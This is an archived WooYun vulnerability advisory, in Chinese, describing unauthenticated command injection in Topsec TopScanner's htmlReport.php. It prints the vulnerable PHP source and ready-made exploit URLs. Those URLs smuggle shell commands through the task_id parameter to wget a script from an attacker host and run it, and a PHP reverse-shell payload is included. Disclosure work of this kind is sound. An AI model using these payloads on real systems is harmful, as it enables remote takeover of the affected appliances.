当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170888

漏洞标题:天融信TopScanner某处设计缺陷导致命令执行已成功反弹shell(无需登录)

相关厂商:天融信

漏洞作者: xfkxfk

提交时间:2016-01-18 17:03

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

天融信TopScanner某处设计缺陷导致命令执行已成功反弹shell(无需登录)

详细说明:

这里的命令执行比较隐蔽了,而且同一文件存在多处
文件/task/htmlReport.php

<?
require_once("datalayer/CDatalayer.php");
include_once 'base/session.php';
require_once('tcpdf_php4/config/lang/chi.php');
require_once('tcpdf_php4/tcpdf.php');
//php解码js的编码函数
function js_unescape($str)
{
$ret = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++)
{
if ($str[$i]== '%' && $str[$i+1]== 'u')
{
$val = hexdec(substr($str,$i+2,4));
if ($val < 0x7f){
$ret.= chr($val);
}else if($val < 0x800){
$ret.=chr(0xc0|($val>>6)).chr(0x80|($val&0x3f));
}else {
$ret.=chr(0xe0|($val>>12)).chr(0x80|(($val>>6)&0x3f)).chr(0x80|($val&0x3f));
}
$i += 5;
}else if ($str[$i] == '%'){
$ret .= urldecode(substr($str, $i, 3));
$i += 2;
}else{
$ret .= $str[$i];
}
}
return $ret;
}
//task_id=20111205095142&rsID=1&name=安全扫描报告&company=单位名称&reporter=报告人姓名&style=1
$param=js_unescape($_GET['param']);
$arrParam=explode("&",$param);//按照字符&将字符串分为数组
$taskId=substr($arrParam[0],8);
$modeID =substr($arrParam[1],5);//模板ID
$name =substr($arrParam[2],5);//报表名
$company = substr($arrParam[3],8);//公司
$creator = substr($arrParam[4],9);//报告人
$style=substr($arrParam[5],6);//报告格式
$user=GetSessionVariable('userName');
/*测试用
$taskId = "20110905144328";//任务ID
$name = "name";//报表名
$company ="company";//公司
$creator ="reporter";//报告人
$modeID =1;//模板ID
$style=1;//报告的下载格式
*/
function delDir($dir) {//定义删除文件夹的递归方法
if (!file_exists($dir)) return true;
if (!is_dir($dir) || is_link($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!delDir($dir . "/" . $item)) {
//chmod($dir . "/" . $item, 0777);
if (!delDir($dir . "/" . $item)) return false;
};
}
return rmdir($dir);
}
function HTML2PDF($html,$file){
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('Netpower NPNS');
$pdf->SetTitle('Netpower NPNS report');
$pdf->SetSubject("$taskId");
// set default header data
//$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 048', PDF_HEADER_STRING);
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
//set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
//set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
//set some language-dependent strings
$l=null;
$pdf->setLanguageArray($l);
// ---------------------------------------------------------
// add a page
$pdf->AddPage();
$pdf->SetFont('stsongstdlight', '', 8);
$pwd=getcwd();
chdir("$pwd/report/$taskId");
$pdf->writeHTML($html, true, false, false, false, '');
chdir($pwd);
//Close and output PDF document
//$pdf->Output("report/".$taskId."/".$taskId.".pdf", 'F');
$pdf->Output($file, 'F');
}
if(is_dir("report/".$taskId)) {//文件夹已经存在
delDir("report/".$taskId);//清空已经存在的文件夹
}
mkdir("report/".$taskId);//报表保存地址
mkdir("report/".$taskId."/image");//报表相关图片保存地址
$dl = new DataLayer();
$cn = $dl->connectDB();
$sql = "select distinct(Host_IP) from T_HostResultInfo where Task_ID='$taskId'";
$result = $dl->queryDB($cn,$sql);
if(!$result) return false;
$content = file_get_contents("https://localhost/task/htmlReportShow.php?task_id=$taskId&company=$company&creator=$creator&name=$name&modeID=$modeID&style=$style");
file_put_contents("report/".$taskId."/".$taskId.".html",$content);
header("Location:report/".$taskId."/".$taskId.".html");
$timestamp=date("YmdHis");//获得当前的时间戳用于唯一标示
$createtime=date("Y-m-d H:i:s");//报表创建时间
if($style==1||$style==2){//html或pdf格式
while($row = $dl->fetchArray($result))
{
$ip = $row["Host_IP"];
$hcontent = file_get_contents("https://localhost/task/hostReport.php?ip=".$ip."&task_id=".$taskId."&company=".$company."&creator=".$creator."&name=".$name."&modeID=".$modeID);
$urlIp = str_replace(".","-",$ip);
if( $style == 1 ){
$urlIp .= ".html";
file_put_contents("report/".$taskId."/".$urlIp,$hcontent);
}else if($style==2){
$urlIp .= ".pdf";
$file = "report/".$taskId."/".$urlIp;
HTML2PDF($hcontent, $file);
}
}
if($style==1){//html格式
$file_name = $taskId."_HTML_".$timestamp.".tar.gz";//使用时间戳
//exec("tar czvf report/".$taskId."_HTML.tar.gz report/$taskId"." --exclude=*.pdf --exclude=*.rtf");//将html格式文件打压缩
exec("tar czvf report/$file_name report/$taskId"." --exclude=*.pdf --exclude=*.rtf");//将html格式文件打压缩
$sql_select = "select * from t_reportdown where File_Name='$file_name'";//报表生成记录 echo $sql_select;
$ret_select=$dl->queryDB($cn,$sql_select);
$num=$dl->getRowsNum($ret_select);
if($num>0){//已经存在
exit();
}
//消息入库(type:1-单一任务报告;2-纵向对比报告;3-部署纵向对比报告;4-部署横向对比报告)
//style:1-html;2-pdf;3-rtf
$sql_DB = "insert into t_reportdown(Task_ID,Report_Type,Report_Style,File_Name,Report_Creator,Related_TaskID,";
$sql_DB.="Report_ModeID,Report_Create_Time)values('$taskId',1,1,'$file_name ','$user','$taskId',$modeID,'$createtime')";
$dl->modifyDB($cn,$sql_DB);
}else{//pdf格式
// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor('Netpower NPNS');
$pdf->SetTitle('Netpower NPNS report');
$pdf->SetSubject("$taskId");
// set default header data
//$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 048', PDF_HEADER_STRING);
// set header and footer fonts
$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));
// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
//set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
//set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
//set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);
//set some language-dependent strings
$l=null;
$pdf->setLanguageArray($l);
// ---------------------------------------------------------
// add a page
$pdf->AddPage();
$pdf->SetFont('stsongstdlight', '', 8);
$pwd=getcwd();
chdir("$pwd/report/$taskId");
$pdf->writeHTML($content, true, false, false, false, '');
chdir($pwd);
//Close and output PDF document
$pdf->Output("report/".$taskId."/".$taskId.".pdf", 'F');
$file_name =$taskId."_PDF_".$timestamp.".tar.gz";//使用时间戳
exec("tar czvf report/$file_name report/".$taskId."/*.pdf");//文件打压缩包
//exec("tar czvf report/".$taskId."_PDF.tar.gz report/".$taskId."/*.pdf");//文件打压缩包
//$file_name = $taskId."_PDF.tar.gz";
$sql_select = "select * from t_reportdown where File_Name='$file_name'";//报表生成记录 echo $sql_select;
$ret_select=$dl->queryDB($cn,$sql_select);
$num=$dl->getRowsNum($ret_select);
if($num>0){//已经存在
exit();
}
//消息入库(type:1-单一任务报告;2-纵向对比报告;3-部署纵向对比报告;4-部署横向对比报告)
//style:1-html;2-pdf;3-rtf
//$sql_DB = "insert into t_reportdown(Task_ID,Report_Type,Report_Style,File_Name,Report_Creator,Related_TaskID)values('$taskId',1,2,'$file_name','$user','$taskId')";
$sql_DB = "insert into t_reportdown(Task_ID,Report_Type,Report_Style,File_Name,Report_Creator,Related_TaskID,";
$sql_DB.="Report_ModeID,Report_Create_Time)values('$taskId',1,2,'$file_name ','$user','$taskId',$modeID,'$createtime')";
$dl->modifyDB($cn,$sql_DB);
}
exit();
}else{//rtf格式
while($row = $dl->fetchArray($result))
{
$ip = $row["Host_IP"];
file_get_contents("https://localhost/task/host_rtf_report.php?ip=".$ip."&task_id=".$taskId."&company=".$company."&creator=".$creator."&name=".$name."&modeID=".$modeID);
}
file_get_contents("https://localhost/task/rtf_report.php?task_id=$taskId&company=$company&creator=$creator&name=$name&modeID=$modeID&style=$style");
$file_name =$taskId."_RTF_".$timestamp.".tar.gz";//使用时间戳
//exec("tar czvf report/".$taskId."_RTF.tar.gz report/".$taskId."/*.rtf");//文件打压缩包
exec("tar czvf report/$file_name report/".$taskId."/*.rtf");//文件打压缩包
//$file_name = $taskId."_RTF.tar.gz";
$sql_select = "select * from t_reportdown where File_Name='$file_name'";//报表生成记录 echo $sql_select;
$ret_select=$dl->queryDB($cn,$sql_select);
$num=$dl->getRowsNum($ret_select);
if($num>0){//已经存在
exit();
}
//消息入库(type:1-单一任务报告;2-纵向对比报告;3-部署纵向对比报告;4-部署横向对比报告)
//style:1-html;2-pdf;3-rtf
//$sql_DB = "insert into t_reportdown(Task_ID,Report_Type,Report_Style,File_Name,Report_Creator,Related_TaskID)values('$taskId',1 ,3,'$file_name','$user','$taskId')";
$sql_DB = "insert into t_reportdown(Task_ID,Report_Type,Report_Style,File_Name,Report_Creator,Related_TaskID,";
$sql_DB.="Report_ModeID,Report_Create_Time)values('$taskId',1,3,'$file_name ','$user','$taskId',$modeID,'$createtime')";
$dl->modifyDB($cn,$sql_DB);
exit();
}
?>


可以看到参数param通过js_unescape()函数处理,这里不用管js_unescape函数做啥
然后从处理后的内容里面分理处各种参数如taskId等
然后经过一系列处理后参数taskId进入了header中:

header("Location:report/".$taskId."/".$taskId.".html");


但是这里并没有退出,所以导致不影响下面的内容继续执行
继续看下面:

if($style==1){//html格式
$file_name = $taskId."_HTML_".$timestamp.".tar.gz";//使用时间戳
//exec("tar czvf report/".$taskId."_HTML.tar.gz report/$taskId"." --exclude=*.pdf --exclude=*.rtf");//将html格式文件打压缩
exec("tar czvf report/$file_name report/$taskId"." --exclude=*.pdf --exclude=*.rtf");//将html格式文件打压缩


当style==1时,taskId进入file_name参数,最后进入exec中被执行,导致命令执行
还有下面,当当style不等于1时,taskId也进入file_name参数,最后进入exec中被执行

}else{//rtf格式
while($row = $dl->fetchArray($result))
{
$ip = $row["Host_IP"];
file_get_contents("https://localhost/task/host_rtf_report.php?ip=".$ip."&task_id=".$taskId."&company=".$company."&creator=".$creator."&name=".$name."&modeID=".$modeID);
}
file_get_contents("https://localhost/task/rtf_report.php?task_id=$taskId&company=$company&creator=$creator&name=$name&modeID=$modeID&style=$style");
$file_name =$taskId."_RTF_".$timestamp.".tar.gz";//使用时间戳
//exec("tar czvf report/".$taskId."_RTF.tar.gz report/".$taskId."/*.rtf");//文件打压缩包
exec("tar czvf report/$file_name report/".$taskId."/*.rtf");//文件打压缩包


并且这里没有判断登录状态,没有进行登录验证,所以无需登录即可验证

漏洞证明:

因为这里没有回显,只能通过log进行记录咯
远程vps监听端口,让目标执行wget+系统命令内容到vps上,从vps上抓取记录即可
发送的请求链接及参数构造见测试代码
whoami执行结果、pwd执行结果、id执行结果分别如下如图所示:

1.png


通过验证,这里是www权限,但是可以执行php
所有我们用php反弹一个shell出来
首先下载php文件到tmp目录,其他目录均没有写权限
而且会转义单双引号,所以我们使用下载远程vps上的shell脚本
脚本内容为反弹shell:

<?php 
$sock=fsockopen("*.*.*.*",61234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>


然后下载此shell到目标tmp下

**.**.**.**/task/htmlReport.php?param=task_id%3D123%7Cwget%20%20http%3A%2f%2f%2a.%2a.%2a.%2a%3A8888%2fshell.php%20-O%20%2ftmp%2ftest.php%7C%26rsID%3D1%26name%3D%u5B89%u5168%u626B%u63CF%u62A5%u544A%26company%3D%u5355%u4F4D%u540D%u79F0%26reporter%3D%u62A5%u544A%u4EBA%u59D3%u540D%26style%3D3


然后执行此php文件:

**.**.**.**/task/htmlReport.php?param=task_id%3D123%7C%20php%20-f%20%2ftmp%2ftest.php%20%7C%26rsID%3D1%26name%3D%u5B89%u5168%u626B%u63CF%u62A5%u544A%26company%3D%u5355%u4F4D%u540D%u79F0%26reporter%3D%u62A5%u544A%u4EBA%u59D3%u540D%26style%3D3


成功反弹会shell

3.png

修复方案:

header后exit即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-19 09:59

厂商回复:

已确认,谢谢提交

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-18 17:06 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

  2. 2016-01-18 17:26 | 夏殇 ( 实习白帽子 | Rank:34 漏洞数:23 | 不忘初心,方得始终。)

    这。。。666!

  3. 2016-01-18 17:33 | xfkxfk 认证白帽子 ( 普通白帽子 | Rank:2299 漏洞数:349 | 呵呵!)

    @finger 补充了成功反弹shell,求审核,谢谢,辛苦了